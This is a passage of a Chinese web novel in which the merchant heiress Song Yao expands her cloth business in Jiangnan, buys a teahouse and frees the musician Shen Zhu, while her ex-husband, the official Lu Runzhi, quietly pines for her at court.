桑卿彦惊讶,“你没有给润之做过吗?” 问完,他方才觉得这话不妥,哪壶不开提哪壶。 宋瑶顿了一下,笑道:“没有,他有些挑食。” 陆润之在她这里并不是什么禁忌话题。 若是相处再久一点,桑卿彦便会知道,她肯一掷千金哄美人开心,却很少自己亲力亲为做什么,既如此,也会给人造成一种十分深情的错觉。 话题就此揭过,回到宋瑶做的菜上面。 宋少家主的手艺十分难能可贵,只做了两道菜,一道是松鼠鳜鱼,一道是盐水鸭。 桑卿彦尝了一口,外皮酥脆,内里鲜嫩,火候掌握得刚刚好,酸甜适中,却不腻人,这道菜算是著名的淮扬菜,桑卿彦从小吃到大,宋瑶做出来的也是数一数二的。 孙琴夸赞道:“少家主好厨艺,老夫从未吃过如此好吃的鱼,您真是全能型天才。” 桑卿彦也道:“比得上满香楼的大厨。” 宋瑶扬起嘴角,得意洋洋,臭屁的模样叫人觉得她的大尾巴在屁股后面摇得欢快。 三人其乐融融地吃了顿饭,有宋瑶在,总不会冷场。 永昌布行作为当地布行最大的地头蛇,孙琴不是没想过和桑卿彦打好关系,日后方便行事,只是桑卿彦此人脾气火爆,性格古怪,极难相处,向来是就是论事,与人逢场作戏,很少有要好的私交。 孙琴也曾邀过几次桑卿彦,皆碰了一鼻子灰,道上传闻桑卿彦十分厌恶女人,想来是真的,后来孙琴识趣地没再去碰壁,两家保持着不温不火的合作关系。 直到少家主到来,仿佛一下子和桑老板成了好友,甚至还将人请到家中吃饭,真是惊到了孙琴。 明眼人一看就知道少家主这是刻意接近桑老板,为日后的生意铺路呢,但是偏偏,少家主却能将这种事情做得自然而然,水到渠成,真的像好友相聚,不带任何目的性。 也是,谁能不喜欢模样生得好看,脾气温和,见人三分笑,做事滴水不漏的少家主呢。 宋瑶来扬州一段时间了,先是吃喝玩乐,后又重新修缮府邸花了半个月的时间,生意上的事情一点也不着急。 经过这么长时间的相处,孙琴也算摸清楚了自家少家主的脾性,不像去年那般催促她。 少家主这人啊,就算是有天大的事情,她也要先把自己照顾舒坦了,再不疾不徐地开工,一出手就直击要害,果断利落,看似不疾不徐,运筹帷幄,实际上恐怕早就开始布局,想好了怎么做。 这样的人,内核强大,随性自然,生活中的一切都在掌控之中,却看似水到渠成,自然而然。 孙琴混了大半辈子,看人很准,倒是第一次碰到少家主这样的人,如果不是足够的自信聪明,做不到如此。 少家主开窍的玩,确实是青出于蓝胜于蓝。 孙琴料得一点都没错,庆祝完府邸完工,第二天,宋瑶就把她叫过去,细细问了江南一代的情况,不知扬州,更包括苏杭一带的布行情况。 孙琴将自己知道的情况一一回答。 江南一代,自古以来就是纺织业中心,竞争激烈,许多本土老字号诸如永昌布行深入人心,且江南一带的百姓偏爱精致、素雅,与京城的华贵大气大不相同,这也就是为什么江南的市场潜力巨大,但是为什么外地的布行却很难分到站稳脚跟的原因。 宋氏布行因着模仿江南流向的布匹样式和质量有保证,才勉强分了一杯羹。 是以如果要开拓江南市场,难度不小,如果好做的话,孙琴在江南这么多年,也不至于毫无进展,生意一直不温不火。 随后,宋瑶跟着孙琴实地探查了当地几家较大的布行,看看当地布行的市场占有情况。 若 一家品牌在当地市场占有率超过百分之八十,那就可以放弃这个市场了,诸如现代时的可乐市场,除了xx和xx,几乎见不到其它品牌。 然而经过调查,宋瑶发现,没有任何一家布行在苏杭一带的市场占有率超过百分之三十,就连头部商号永昌布行,也只占了百分之二十六,也就是说对于江南布匹生意来说,客户需求高度碎片化,竞争激烈,同样也意味着市场潜力很大。 如今江南布匹市场较为混杂,首先要做的就是根据实际情况进行市场细分,再结合宋氏布行的优势,利用一点营销手段,抢占领域内市场份额。 其次再结合苏杭的审美偏好,聘请当地富有经验的纺织工和绣娘,设计符合当地审美的新样式,进攻其它市场细分领域。 说起来简单,若真做起来是一个不小的工程,古代没有大数据库,一切都需要人力去各地实地调研,耗费不少人力物力财力才打探到。 在这个时刻,桑老板就发挥了极大用处,他从小就接触生意,在江南一代混了多年,对市场的情况再清楚不过。 是以,宋瑶又将人约出来喝茶,然而桑老板最近是大忙人,约了几次才将人约出来。 对此,桑老板颇有微词,十分嫌弃,“我说宋瑶,你求人办事,能不能有点诚意,这茶都喝腻了。” 宋瑶豪气道:“改日请桑老板吃大餐,随便点。” 桑卿彦对她自己做的那口菜念念不忘,“我要吃你做的。” 宋瑶应了,“没问题。” 桑卿彦满意地勾起嘴角,“看在你这么有诚意的份上,有什么想知道快问吧,我一会儿还有事呢。” 桑卿彦倒不担心宋瑶会抢了她的生意,他有他的考量。 一来,宋瑶十分聪明,就算他不告诉她,她也有办法知道;二来,宋瑶十分有做生意的头脑,他自愧不如,如果她来江南,宋氏布行早晚被她做起来,他也阻挡不了,而且在与宋瑶交谈的过程中,他也能了解宋瑶是怎么想的;最后,永昌布行在江南的地位已经根深蒂固,且与宋氏布行风格特点相差很大,二者赛道不同,算不得严格意义上的竞争对手。 因此,对宋瑶,他知无不言言无不尽。 在这个过程中,桑卿彦学到了两个新颖的词汇,一个叫做市场细分,一个叫做营销,获益匪浅,他就说,跟着宋老板能学到真东西。 也不知道她的脑袋瓜子里怎么能想出这么多东西。 两人相谈甚欢,合作愉快。 回去以后,宋瑶熬了几天,将自己从桑卿彦那里了解到的情况,结合手下的人去各地调研的情况,做了细细的分析,经过打磨,最后形成了一份市场拓展方案。 孙琴本以为少家主做什么事都不需要那么努力跟费力,简单动动脑子就可以,谁料少家主也可以为了一件事连熬了几天,废寝忘食,专心致志,再次令孙琴惊讶了。 孙琴心疼少家主身边无人照顾,而且女子正血气方刚的时候,需要放松放松,于是又把之前的三个美少年召了回来,默默安排在了宋瑶房内照顾。 之前是她思虑不全,直接将人领到了少家主面前,少家主年纪轻,脸皮薄,才不好意思接受,这下她悄无声息地直接安排在少家主房中,这样总可以了吧。 孙琴为自己的机智点了个赞。 宋瑶的方案终于定稿,松了一口气,择日给手下的人开个会,宣贯一下。 忙完以后,宋瑶回到房间,看到房间内穿着清凉的三个熟悉的少年,他们一个端着洗脸水,一个捧着毛巾,一个捧着寝衣,时不时偷瞄着她,面色娇羞。 宋瑶扶了扶额,她到底给了孙琴什么样的错觉,让她觉得她却男人,还一次安排了三个。 宋瑶坐下,目光扫过这三个少年,问道:“你们叫什么名字?” “奴名唤云岫。” “奴名唤枕石。” “奴名唤兰舟。” 三个少年一一回答。 名字倒是雅致。 虽是阳春三月,过堂风依旧有些冷,三位少年只穿了一层纱,风一吹,轻纱下的风光隐隐可见,单薄的身体忍不住瑟缩。 宋瑶挥了挥手,“日后你们便在房中伺候我的起居,老实本分一点,去把衣服穿好。” 若是再推辞,指不定孙姨后面还要给她塞人,索性收了,安排在身边当个小侍。 “是,多谢少家主。” 三名少年纷纷目露惊喜,若少家主再不肯收他们,他们就要被孙管家赶出府了,比起流落风尘,显然伺候在少家主身边好百倍,少家主长得好看,脾气温和,从不与人发脾气,后院也干净,不会有人为难他们。 于是云岫、枕石、兰舟三位少年便在宋瑶房中留下了,三个少年也都是老实本分的,没有惹出什么幺蛾子。 对此,孙琴感到非常满意,她就说少家主是个闷骚的。 宋瑶的方案敲定以后,挑了个日子,将手底下工厂和各大店铺的负责人召集过来,用简单易懂的语言给她们讲解了一番。 底下的人都是生意上的老油条了,本来对自己的年纪轻轻的上司多有不服,却在听完宋瑶思路清晰扼要的方案后,转变了观念,这个少家主好像有点东西。 简单来说,把江南的市场领域细分,稍稍使用营销手段,打出宋氏布行的差异化优势。 与永昌布行不同,宋瑶对宋氏布行的定义依旧与在京城时保持一致,是达官贵族、巨贾乡绅所用的高档面料,同时设三进铺面。 一进:标布棉麻,市民使用 二进:素绸杭罗,乡绅使用 三进:云锦缂丝,贵族专用 针对不同的层次,根据宋氏布行的特点,有不同的营销策略。 宋瑶要求下属按照方案执行,同时设立了丰厚的奖金,多劳多得,一时间,手下的人士气高涨。 宋氏布行的拓展工作如火如荼的进行,宋瑶经常去各大商铺实地指导,忙得脚不沾地,自然也效果显著,成绩斐然,令底下的人心服口服。 短短时间,宋氏布行忽然在业内名声大噪,宋瑶年纪轻轻,一跃成为业内新秀,各路商人纷纷攀了上来,想要结交。 比起宋瑶在布行混得如鱼得水,盐商的日子便没有那么好过了。 朝廷颁布了新的律令,要将盐业纳入官营,引起轩然大波,盐商纷纷叫苦不迭,若是纳入官营,她们哪里还有如今的权利和地位,就变成了给官员打工了。 事不关己高高挂起,且盐商一向猖狂惯了,不知暗地里给官员送了多少银子,如此让这些银子落入贪官污吏的口袋中,倒不如缴入国库,其他行业的商人倒是乐见其成。 宋瑶得知此事,心里了然,小陆大人还是采纳了她的建议- 桑卿彦好奇宋瑶是如何在短短时间内做得风生水起,便邀了她茶楼一叙。 宋瑶喝水不忘挖井人,欣然应允。 她习惯性地来到了他们经常见面的茶楼,比起以往的热闹,此时的茶楼分外冷清,门口贴着茶楼转让的告示,店内的小二在柜台前百无聊赖地玩着抹布,说书先生早就不在了,唯有屏风后面的袅袅琴音,带着意思丝丝哀愁和幽怨。 偌大的茶楼,短短时日,竟如此空荡。 宋瑶揭下茶楼转让的告示,走进茶楼,问店小二,“你们茶楼为何要转让?” 小二姐叹道:“老板的夫郎病逝,唯一的女儿在京城犯了事,老板不得不变卖茶楼,上京救女儿。” 宋瑶眼珠子转了一下,手指敲了敲桌面,“去将你们老板叫过来。” 小二姐眼前一亮,“欸,宋老板,我这就去。” 茶楼的老板不复往日的意气风发,佝偻着脊背,眼神灰暗,鬓角生了白发,仿佛短短时间,一下子苍老了十岁。 宋瑶递出告示,“老板可是要转让茶楼?” 在与茶楼交谈的过程中,宋瑶发现老板可能真的是急用钱,以茶楼的地段和名气,开出的价格真是白菜价了。 宋瑶本身喜欢这家茶楼,也来习惯了,价格合适,于是爽快地花五千两白银买了下来,当日成交,拿到了地契。 茶楼的老板千恩万谢,差点给宋瑶跪下了,“感谢宋老板大恩,最后,老夫还有一个请求。” 宋瑶:“钱老板请讲。” 不知什么时候起,屏风后面的琴音停了。 钱老板去屏风后面,将那弹琴的少年带了出来。 那少年抱着古琴,素纱遮面,只留一双清丽的眼睛在外,眉宇间弥散着淡淡的忧愁,身形清瘦如修竹,腰肢极软,走起路来,身段极好,脚步像踏在云上。 钱老板将人带到宋瑶面前,拱手作揖,她身后的少年也跟着微微附身,“宋老板,这是我恩人家的公子,名唤沈竹,如今我要前往京城,自身难保,实在无法带着他,恳请您将他留在茶楼,稍加照拂,给他一口饭吃,莫让他流落风尘。他的琴弹得极好,客人们十分喜欢。” 宋瑶的视线落在沈竹身上。 钱老板将沈竹拉到前面来。 沈竹看了一眼宋瑶,抱着古琴,微微俯身,声线清澈,有些软,“见过宋老板。” 他方才的眼神很平静,既没有乞求,也没有担忧,仿佛已经习惯了,无被怎么样安排,怎么样的结果他都接受,倒是带着一丝认命。 宋瑶问他,“我按月付你工钱,你是否愿意继续留在茶楼弹琴?” 沈竹低眉顺眼,回答:“奴愿意,多谢宋老板。” 等宋瑶安排好一切,才想起来与桑卿彦的邀约,忙赶过去。 这下糟了,免不得被桑老板一顿阴阳怪气。 第66章 青连近来有些担心陆润之。 自那日从宋府回来,得知宋瑶去了江南,归期未定,青连本以为他们大人会伤心一段时间,却没想到他跟没事人一样,晚上正常吃饭睡觉,第二天一早着了朝服去上朝,晚上很晚才从官署回来。 新官上任,且大人是男子,自然是有许多事要忙,只是日日如此,从早上五更天,忙到晚上卯时才从官署出来,正常人哪里吃得消。 眼瞧着大人一日比一日消瘦,深紫色的官服日渐宽松,整个人愈发地沉默寡言,青连无比担心,却也不知如何劝导,有次他刚在大人面前提起宋瑶的名字,就被他冷漠的眼神吓得闭了嘴。 若是真的放下了,怎么会连提都不让提? 青连不知道大人怎么想的,只觉得现在大人与以前越来越不像了。 有次过了卯时,青连去官署接他,等了许久,他们大人才从官署出来,着深色紫袍,身后两个大臣小心翼翼地跟着,大人面无表情,眼神冷得如同淬了寒冰。 那两个大臣不断地赔不是,直到点头哈腰地将大人送到马车上。 当时,青连被他身上的气势吓到,隐隐觉得陆丞相当时也没有公子骇人。 大人颇得圣上赏识,也很努力,越来越越像话本里描述的,喜怒不形于色的权臣,朝中再也没有敢看轻他的官员。 只是青连却觉得,大人越来越孤寂,走到如今这个地步,竟无一人可以说话的。 有次休沐,大人淋了些雨,第二日发了高烧,不得不告假。 圣上得知后,派了太医前来诊治。 太医说:“陆大人忧思过虑,积劳成疾。” 圣上以为大人忧国忧民,大为感动,赏赐了许多珍贵药材,要大人好好将养身体。 但是青连知道,大人并不是为朝政优思,他经常在办公之余,摩挲着腕部的手镯发呆。 如今大人做了官,还是圣上身边的红人,真贵宝物接二连三的赏赐到府中,他腕上的手镯与圣上赏赐的物品相比,无法相提并论,但是大人却日日戴着那手镯。 青连识得,那手镯是宋家家主给大人的,大人没有还回去。 大人发烧了,吃了药,昏昏沉沉地躺在床上,嘴唇微动,不知道在呢喃什么。 青连凑近一听,他说的是,“宋瑶……” 青连不懂,既如此放不下,为何不去找她呢- 朝廷规定,各州府大臣每年需要回京述职两次,一次定于六月,成为年中述职,一次定于腊月,称作年终述职,便于管理。 据说是中书令陆大人的建议,各州府大臣十分不解,只觉压力巨大,这半年述职一次,分明没有给她们任何喘息的时间,只得埋头苦干,若没有任何政绩,怕是要被圣上当着文武百官的面痛骂。 这陆大人倒是会折腾人啊。 这不,又到了年中述职的时候,扬州城的郑大人舟车劳顿,终于赶到了京城,相比对其它州府官员愁眉苦脸,她倒是笑呵呵的。 没办法,政绩好,有的汇报。 哈哈哈哈哈哈哈哈哈。 果不其然,郑大人因为治理有方,州府经济状况较好,百姓安居乐业,获得了圣上的表扬,并成为了各大州府的楷模,取得了年中之星。 而其它州府则被骂了个狗血喷头。 郑大人独处风头,表面谦逊低调,心里乐开了花。 述职结束后,她捧着圣上赏赐的黄色锦旗,准备回驿站休息,却不料迎头碰到了一位传话的官差。 那官差道:“郑大人且慢,我们陆大人请您一叙。” 陆大人? 中书令陆大人,他找她干嘛? 郑大人在心里琢磨着,回想起方才她述职的时候,这位陆大人端坐在圣上左侧,容色倾城,却不敢叫人多看一眼。她清楚地记得这位陆大人在她述职的时候,只问了一个问题。 “哪个行业短短时间推动了扬州城的繁盛?” 她当时毕恭毕敬地回答:“布行兴起。” 彼时,她身上穿的里衣,就是出自宋氏布行,不得不说,挺舒服的嘞。 郑大人复盘了一下自己回答的内容和神态,确保没有任何纰漏,才松了口气。 也不知堂堂中书令找自己这么一个小小地方官是什么事儿?她可听说如今宰相之位空缺,这位陆大人可是最有竞争力的人选,可不能把人得罪了。 郑大人一路上把陆大人可能问她的问题全都在脑海中过了一遍,才安心了许多,等见到到了陆大人,还是紧张得大气都不敢喘一下。 陆大人从众多公文中抬起头,命人给她上了茶,还请她坐下。 郑大人诚惶诚恐,“不知陆大人唤臣来是有何要事?” “只是想仔细听一听郑大人如何短短时间恢复扬州城的繁荣,以便总结经验,普及到其它州府。”陆大人如是道。 郑大人为官多年,也是老油条了,将此时陆大人问的问题和述职时的问题联系到一起,这么一拉通,陆大人不就是想听听她们扬州城的布行是如何发展的吗? 送分题。 郑大人将提前准备好的答案倒背如流,主要歌颂了永昌布行和宋氏布行先富,带动其它布行后富,进而带动了扬州城的经济发展。 陆大人听着,似乎非常感兴趣,连手里的公文都放下了,等她说罢,他又接着问道:“那宋氏布行具体是如何做的?” 陆大人,这个问题出的可就有些偏了,她一介文官,如何懂得做生意上的事情。 不过好在郑大人是个什么事都要准备万全的性子,述职前把一切大大小小的问题准备了厚厚一沓,扬州城大大小小的事儿,哪怕是城西的早茶铺为何倒闭她都一清二楚,这个问题对她来说倒也不难。 于是郑大人又歌颂了一番宋氏布行的智慧,两个问题回答完,郑大人口干舌燥,自认为交了一份满意的答卷。 只是陆大人听完,怎么神色不太对劲呢? 最后,陆大人摆摆手,“多谢郑大人解惑,郑大人一路舟车劳顿,快快回去休息吧。” 郑大人:“应该的,陆大人,臣告退。” 走到门口时,郑大人悄悄回头瞥了一眼,她怎么觉着,陆大人似乎有些……落寞? 大概是高处不胜寒吧。 更何况他还是一介男子。 算了,她一个吃米的,操心人家吃燕窝的干嘛,回去继续干,还有半年后的年终述职呢。 郑大人本想将此时抛之脑后,脑袋又灵光一闪,敏感地察觉到陆大人恐怕与宋氏布行有什么联系,下去得好好查查,以免日后便被问到。 第67章 郑大人回去立刻命人打听陆大人和宋氏布行的关系,不打听不知道,一打听可把她吓了一大跳,那宋氏布行年轻有为的少当家宋瑶正是陆大人的前妻! 这事儿京 城的人都知道,也就郑大人从扬州远道而来,孤陋寡闻。 郑大人了解了事情的来龙去脉,唏嘘过后,慢慢咂摸了一会儿。 这事儿不对劲啊。 不是说陆大人平步青云后,主动抛弃妻主,她瞧着方才陆大人那神色不大像啊,虽说陆大人喜怒不形于色,掩藏得很好,但是郑大人还是从他细小甚微的表情和动作中品出了一抹不寻常。 郑大人有一颗上进的心,打定注意回去以后多多关注宋瑶,免得日后回京述职,被陆大人旁敲侧击。 回到扬州城后,郑大人先差人去打听了宋瑶的近况。 据来汇报的下属说,宋氏布行在宋瑶的带领下,在一众江南纺织业中杀出重围,成为业界冉冉升起的新星,其商业头脑无人能及,令人叹服,且品性高洁,极讲义气,待人温和,许多人都想结交。 郑大人斥道:“净说些废话,说点她的私生活上的事。” 私生活? 下属看向郑大人的眼神有些古怪,但还是汇报道:“宋老板唯有房中三位小侍。” 郑大人又问道:“那蓝颜知己有没有?” 下属道:“永昌布行桑老板算是,此外,宋老板似乎极为喜爱茶楼沈公子的琴。” 郑大人有些担忧,“五个……这是不是有点多啊。” 下属:“……” 大人,您忘了您后院六位侍君了吗? 郑大人睨了一眼,看到下属如同便秘的表情,“你什么表情啊,有话直说。” 下属:“属下无话可说。” 郑大人:“说!” 下属犹豫,“大人,据属下观察,宋老板喜欢的是男子。” 郑大人:“……滚出去。” 下属:“是。” 郑大人不光十分有上进心,还是个行动派,择日便送了拜帖与宋瑶。 接到郑大人的拜帖,宋瑶面露疑惑,堂堂州刺史掌管扬州城,找她一个老老实实本本分分的生意人做什么?她只是一介平平无奇遵纪守法按时纳税的富商罢了。 州刺史邀约,算是给了极大的脸面,宋瑶揣着拜帖赴约,好巧不巧,郑大人选的地方正是她所经营的茶楼。 宋瑶早于约定时刻一刻来到茶楼,谁料郑大人比她还先到。 “宋老板,这里。”郑大人在桌子前招呼道。 宋瑶便看到一位笑得乐呵,微微富态,面若观音的女子,笑着朝她招手,想必就是郑大人。 郑大人着了便衣,长着一副人畜无害的脸,笑容和善,叫人不由得生出亲近之意。 宋瑶躬身作揖,“草民见过郑大人。” 在宋瑶打量郑大人的时候,郑大人也在观察她,难怪能让陆大人念念不忘,但若相貌来说,也只能她能与陆大人相配了。 郑大人笑道:“宋老板不必多礼,今天我着便衣,便不是什么郑大人,早已听闻宋老板大名,故来结交。” 人家当官说的是客套话,哪里能当真,宋瑶同样也客气道:“郑大人抬举草民了。” 郑大人:“来来来,宋老板,坐。” 宋瑶:“多谢郑大人。” 两人一番客套寒暄。 郑大人才切入正题,“听闻这家茶楼也是宋老板旗下的产业?” 宋瑶边思索着郑大人的意图,边回答道:“前茶楼老板家里遇到了些难处,继续用银子,我倒是挺喜欢这茶楼,便买了下来,还是按照以往的风格经营。” “宋老板心善。”郑大人夸了一句,顿了下,道:“比起以前说书的,如今喝茶听琴倒是添了几分雅兴,这曲高山流水弹得不错。” 宋瑶不知她意图何在,不轻易接话,只附和道:“的确如此。” 若是其她人听到自己这番话,必定会认为她对那个琴师有兴趣,再将琴师叫过来,宋瑶不知是不懂还是不接她的话茬,竟没了下文。 莫不是在保护着琴师? 郑大人接着问道:“那弹琴的是你的人?” 她这话问的含糊,有多重含义。 宋瑶笑了笑,道:“是我雇的人罢了。” 郑大人:“可把他叫过来?” 宋瑶笑道:“他性子比较冷,若是不过来,大人莫怪。” 郑大人哈哈一笑,“我岂是如此小气之人。” 宋瑶便差了小二去叫沈竹过来。 沈竹以为宋瑶叫他有什么事,便放下古琴,随小二去见宋瑶,却看到她对面坐了个人,衣着华贵。 沈竹心中了然,这一日终究是到来了。 “宋老板。”沈竹低声道。 宋瑶给沈竹介绍,“沈竹,这位是郑大人。” 沈竹依顺道:“见过郑大人。” 郑大人点了点头,“为何戴着面纱?” 沈竹未答。 宋瑶看了他一眼,接话道:“听琴就好,何必在意相貌。” 沈竹看了她一眼。 郑大人喝了口茶,“把面纱摘下我看看。” 宋瑶的目光落在郑大人身上,碰巧视线在空中与她相碰,便笑了笑,对沈竹道:“把面纱摘下吧。” “是。”沈竹抬手摘下了面纱,露出了面纱下面清丽的小脸,那张脸上未施粉黛,五官算不上绝色,却很耐看,带着一丝独属于江南的文隽秀雅,眉眼沉静,如江南雾色烟雨般安静。 郑大人只扫了一眼,便收回目光。 宋瑶见状,挥了挥手,示意沈竹下去。 表面上看,会以为郑大人对沈竹感兴趣,但是宋瑶却觉得郑大人从始至终都在试探她对沈竹的态度。 堂堂州刺史为什么会在意她对一个琴师的态度? 郑大人又道:“宋老板年轻有为,相貌堂堂,不知是否婚配,实不相瞒,我此次前来,确实是受人所托,做媒来了。” 宋瑶观察着她脸上的神色,判断出着也是她的说辞,不知她葫芦里卖的什么药,同样也打马虎眼道:“郑大人真是抬举草民了,实不相瞒,草民刚结束一段婚姻,需要缓一缓。” 郑大人抓住了她言语中的字眼,脱口而出道:“这么说,你还是忘不了你的前夫郎了?” 她的神色比方才稍显激动。 宋瑶眸光闪了一下,没有回答她的问题,反而道:“郑大人似乎很关心草民的姻缘?” 郑大人不愧是为官多年,听她这么问,没有丝毫心虚,哈哈笑道:“这不是替人做媒,了解一下哈哈哈哈……既然宋老板无意,那便作罢。” 宋瑶已然判断出她说做媒实际上是个幌子,叫她来,不问布行的事,而是抓住她的感情,堂堂州刺史大人,这么闲的吗? 瞧她眼底下的青黑,倒也不像。 如此说来,那便只有两种可能,一是被人指使来打探情况,二是自己主动来找她打听。情况多半是后者。 既然郑大人想要话题翻篇,宋瑶识趣地没有抓住不放,给她倒了杯茶,状似无意地问道:“大人近来可是政务操劳,看着甚是疲惫,可有什么烦心事?” 郑大人作为州刺史,所结交之人都是官员,官场复杂,为人处事皆要小心谨慎,不能给人留下任何话柄,是以平日里也没个什么可以说话的人,眼下宋瑶是个商人,料她出去也不敢乱说,于是叹了一口气道:“为官的,哪里能没有烦心事。” 宋瑶接着话道:“大人若是烦闷,可与草民说说,草民虽不懂政事,但是可以做一个聆听者。” 这话简直说到了郑大人心坎里。郑大人不吐不快,“如今圣上要求地方官每半年回京述职,一年两次,舟 车劳顿不说,关键是一年两次,哪里有那么多的政绩可以向上汇报的。” 宋瑶心道,一年两次也还行吧,只不过是不能摸鱼了而已。 虽心里这么想,但是宋瑶嘴上可不能这么说,只道:“大人辛苦,一定顶了很大的压力吧。” 郑大人喝了口茶,愤愤道:“那可不,你是不知,前些日子述职时面对众多朝中大臣,完了还要问你问题,跟审犯人似的。” 宋瑶差点笑出声。 郑大人叹息,“再过几个月又要回京,我哪里还有什么政绩可说的。” 郑大人这属实是谦虚了,扬州城算是当今第三大城市,繁荣昌盛,百姓安居乐业,若连扬州城都没有业绩,其它地方都苦不堪言了。 她倒到苦水,宋瑶听听便好,听完以后,方知眼下让郑大人头疼的是政绩,能在百忙之中抽空亲自来大厅她那点破事,想必是被人问到了。 至于是何人,宋瑶一猜便知,也知郑大人今日来意,只当做不知。 茶过三巡,郑大人觉得差不多,拍了拍宋瑶的肩膀,语重心长道:“小宋啊,咱们扬州城的经济就靠你了,你可不要辜负我的众望啊。” 说着,郑大人起身就要离去,完了才想起正事似的,嘱咐了句,“宋老板日后若是有中意的人,我愿意为牵线做媒人。” 宋瑶:郑大人,你怎么跟喝了假酒似的。 将郑大人送走后,刚好沈竹也结束了自己的工作,宋瑶便差人将他叫到了雅间,钱老板大有将人托付给了她的意思,有些事情还是得问清楚。 沈竹过来时依旧是低眉顺眼的模样,“宋老板,您叫我。” 宋瑶比了比对面的位置,“坐。” 沈竹乖巧地坐在她对面。 他仿佛永远都是这样逆来顺受的模样,任由人安排,没有任何意见和怨言,像一具傀儡,哪怕今日郑大人将他要了去,可能他也没什么要说的。 宋瑶没想好日后怎么安排他,总要先问问他的想法,于是便直说了,“你日后如何打算?” 沈竹低垂着眼,听到她这么问,身体颤了一下,“听宋老板的安排。” 为什么这么问? 是嫌他没用,要把他送走了吗? 既然如此,为什么还要问他呢。 宋瑶问道:“你如今多大了。” 沈竹:“奴十五岁了。” 才十五岁。 宋瑶温声道:“那你日后想做什么?” 听他这么问,沈竹眼中闪过一丝迷茫,“做什么……” 第一次有人这么问他,给他问懵了。 他从来没想过这个问题。 以前在家中,他作为庶子,日后随便被家里人嫁出去就是他的命运,后来家道中落,他有幸被钱老板收留,在茶楼里弹琴,后来钱老板也走了,又换了宋老板。 沈竹知道,在茶楼里的结局,无外乎就是被哪个达官贵族乡绅看上,买回去做外室。 他一向对自己的命运很清楚。 宋瑶掏出一张纸,递到他面前,“这是你的卖身契,现在我将它归还于你,以后你就自由了。” 沈竹猛地抬头,睁大眼睛。 这是宋瑶第一次看清楚他的眼睛,清澈透亮,毫无杂质,也没有任何光泽。 沈竹颤抖着声音,“宋老板,是想将我赶出去吗?” 宋瑶无奈道:“我只是将你的卖身契归还与你,何时说要赶你走了。” 沈竹垂下眼睛,接过卖身契,抿了抿唇,不知道在想什么。 宋瑶意识到,跟从来没想过要做什么,一向都是接受别人安排的人来说这些,是没有用的,最好的就是给他选择,于是宋瑶道:“我不会赶你走,只是想问问你日后想做什么,看看有什么可以帮助你的,你现在也自由了。” 沈竹虽然依旧很迷茫,但是在拿到卖身契的时候,却是浑身一轻,忽然觉得脖颈处的枷锁消失了。 以后,他就自由了。 他本来以为自己已经锻炼到可以没有任何情绪了,现在却鼻子酸酸的。 宋瑶缓缓道:“你可以继续待在茶楼,只要我在一天,便没有人赶你走,日后若遇到了中意的女子,我便为你做主,将你风风光光嫁了。或者你想离开茶楼,有什么想做的事情,我尽我所能帮助你。” 听罢,沈竹未言,良久他忽然起身,跪地,朝宋瑶盈盈一拜,“感谢宋姐姐大恩大德,沈竹无以为报,愿意留在茶楼,尽绵薄之力。” 宋瑶第一次听他说这么多话,“快快请起,不用行这么大礼。” 她将沈竹扶起来,看到他眼中聚起了一点亮光。 “宋姐姐,我留在这里没关系吗?”沈竹问。 宋瑶看向他,“什么意思?” 沈竹问:“会不会引起你家中夫郎误会?” 宋瑶:“我家中无夫郎。” 沈竹就这样被安排在了茶楼中,茶楼里的人默认他是宋老板的人,也无人招惹- 宋瑶致力于开拓江南市场,短短两年时间,宋氏布行已经成为江南苏杭一带规模最大、知名度最高的布行之一,其凭借样式创新独特、品质够硬,覆盖人群广泛而闻名。 后宋瑶又与苏杭最大的绣坊合作,推出了限量款新品,几乎是一抢而空。 宋瑶一跃成为江南一带有名的富商,腰缠万贯,手底下的人对她心服口服。 不识得宋老板的人以为她是个满身珠光宝气的中年富商,认识了发现,宋老板年纪轻轻,相貌极好,面若桃花,逢人三分笑,待人温和,风度翩翩,不知道迷走了多少少年的心。 得知宋瑶府中尚无正君,府邸的门槛都要被各路媒人踏破了,宋老板倒是不排除,只是这么久,愣是没有一个人入得了宋老板的眼。 传闻,宋老板风流多情,府中三名小侍,茶楼里一名蓝颜知己,同时经常与永昌布行的宋老板成双入队,正君之位却是空着。 对此,府邸的孙管家说:“我们少家主眼高于顶。” 倒是郑大人,见到宋瑶的正君之位始终空缺,乐见其成。 宋瑶在江南这一住,便是两年,倒也习惯了江南的水土气候,待得倒也舒心自在。 元朔四年,天下形势已经稳固。 新帝继位后,勤政爱民,选贤任能,减赋税、设官营,充国库。 后吏治清明,农业连年丰收,粮仓充实,京城、洛阳、扬州等地商贾云集,社会经济空前繁荣。 最令世人称叹的是,皇帝任人唯贤,不拘一格降人才,当今丞相大人陆润之陆大人,就是她一手提拔上来的,男子为官,本不被看好,而陆大人却向天下交出了一份令人折服的答卷。 陆大人身居高位,为官清廉,始终主张“轻徭薄赋,与民休息”,劝谏新帝施行仁政,尽心于天下,献纳忠谠,安国利民。 皇帝曾赞:“玉淬逾洁,松寒更青,吾有丞相,可安睡矣。” 传闻,陆大人早年坎坷,曾嫁与商人之女,饱受折磨,但是其风骨铮铮,未曾放弃自己的抱负,始终坚持自我,当今圣上慧眼识珠,不忍明珠蒙臣,不计身份,破格提拔,才成就了如今的陆丞相。 天下关于明君贤臣的传闻有诸多版本,但在任何一个版本里,陆丞相都是天下臣子的楷模。 茶楼里,说书先生慷慨激昂地歌颂着当今皇上仁爱天下,述说着当今丞相的传奇经历。 底下的人思想却往别处去了。 “传说这位丞相大人容貌倾城,不知道有没有嫁人啊?” “嫁什么人,人家都是丞相了,肯定是入赘啊。” “你们见识短浅了,如今丞相位高权重,皇帝会让他嫁给别的女人,为别的女人生孩子吗?” “你是说当今圣上和丞相……” “我可什么都没说啊。” …… 二楼雅间里,宋瑶席地而坐,端着茶杯,偷得浮生半日闲。 经过几年的洗礼,她身上的气质更为沉稳,眉眼愈发地温柔坚定,沈竹坐在她对面,看她看得有些痴了。 宋瑶一抬眼,沈竹立刻低头,脸色微红,喝了一口茶,掩饰尴尬,却被呛着了。 宋瑶笑,“怎么喝水还呛着,在想什么这么入神?” 沈竹擦了擦嘴,随口诌了一个理由,“我在想说书先生口中的陆大人怎么那么厉害,是怎么做到的,简直是我不敢想的,我面对那些大官时,腿都吓软了。” 沈竹的性子,这两年养的比之前活泼许多,只是到了 嫁人的年纪,媒人上门,他却总是兴致缺缺。 一来二去,宋瑶也就由着他去了。 听他这孩子气的话,宋瑶笑道:“你想都没想过,自然是不知道怎么做到的。” 沈竹:“你在说我胸无大志吗?” 宋瑶摇头,“每个人有每个人的选择,你过得开心就好。” 